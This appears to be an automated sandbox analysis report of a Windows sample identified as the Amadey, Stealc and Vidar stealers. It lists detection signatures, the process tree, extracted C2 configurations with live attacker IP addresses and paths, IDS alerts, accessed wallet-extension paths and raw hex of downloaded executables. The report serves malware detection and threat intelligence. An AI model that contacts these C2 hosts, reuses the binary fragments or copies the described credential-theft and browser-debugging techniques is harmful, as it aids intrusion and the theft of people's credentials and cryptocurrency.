Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561533
MD5:	447b432c2a27e71e1053da4d6d520222
SHA1:	f5207f5b7b143c1fe2b4edb985efb23d85dcb884
SHA256:	b21584b91faf4acb978bd265e2f827d631017f328eb49b311f156f6ba008bd83
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2080 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 447B432C2A27E71E1053DA4D6D520222)

chrome.exe (PID: 4460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7272 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3392 --field-trial-handle=2936,i,10454641456721250050,18231566279611338809,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 5548 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHCFIDAKJD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsDHCFIDAKJD.exe (PID: 7928 cmdline: "C:\Users\user\DocumentsDHCFIDAKJD.exe" MD5: EE9C5875F526C3F44381BEB36B6EAA62)

skotes.exe (PID: 7728 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EE9C5875F526C3F44381BEB36B6EAA62)

skotes.exe (PID: 8100 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EE9C5875F526C3F44381BEB36B6EAA62)

skotes.exe (PID: 7604 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EE9C5875F526C3F44381BEB36B6EAA62)

skotes.exe (PID: 7284 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EE9C5875F526C3F44381BEB36B6EAA62)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2278205057.0000000000891000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2305839714.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1763800423.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2219111350.0000000000E91000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2237001499.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2906066493.0000000005090000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2218670347.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.3006747902.0000000000891000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2264428926.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2292464781.0000000000681000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2205707440.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2346183428.0000000000891000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2304893190.0000000000891000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2080	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2080	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2080	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2080	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.skotes.exe.890000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.skotes.exe.890000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.DocumentsDHCFIDAKJD.exe.680000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.skotes.exe.890000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.skotes.exe.890000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2080, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4460, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:44:12.117520+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:44:11.993525+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:44:12.619990+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:44:14.274349+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:44:12.748004+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:44:11.321830+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:46:04.988383+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49898	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:44:08.998023+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49906	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:46:09.558035+0100	2803305	3	Unknown Traffic	192.168.2.4	49910	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T17:44:15.003389+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-23T17:44:30.829057+0100	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:32.851939+0100	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:34.233136+0100	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:35.397511+0100	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:39.128951+0100	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:40.505219+0100	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-11-23T17:44:46.706186+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll?Z	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpkK	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpXm	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpVm#O	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/Kc	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpPc	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dlla	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000A.00000002.2278205057.0000000000891000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2218670347.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C466C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C466C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49774 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49898 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49906

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 16:44:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 16:44:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 